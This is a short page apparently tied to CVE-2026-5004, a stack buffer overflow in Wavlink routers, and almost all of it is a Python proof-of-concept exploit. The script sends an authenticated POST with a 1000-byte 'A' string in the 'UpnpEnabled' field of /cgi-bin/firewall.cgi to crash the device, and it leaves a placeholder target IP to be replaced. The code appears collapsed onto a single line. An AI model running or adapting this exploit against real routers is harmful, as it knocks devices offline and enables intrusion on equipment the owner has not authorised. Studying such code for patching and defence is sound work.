CVE-2026-5004 Wavlink路由器栈溢出漏洞

import requests def exploit(target_ip): # The vulnerable endpoint url = f"http://{target_ip}/cgi-bin/firewall.cgi" # The vulnerable parameter is 'UpnpEnabled'. # Sending a large string to trigger the stack-based buffer overflow. # Buffer size needs to be determined via fuzzing, 1000 bytes is a reasonable starting point for PoC. payload = "A" * 1000 data = { "UpnpEnabled": payload } headers = { "Content-Type": "application/x-www-form-urlencoded", "Authorization": "Basic <Base64_Credentials>" # PR:L implies authentication is required } try: response = requests.post(url, data=data, headers=headers, timeout=5) print(f"[+] Payload sent to {url}") print(f"[+] Status Code: {response.status_code}") if response.status_code == 200: print("[+] Request accepted, device may be vulnerable.") except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") # If the connection drops immediately, it might indicate a crash (DoS) if __name__ == "__main__": target = "192.168.1.1" # Replace with actual target IP exploit(target)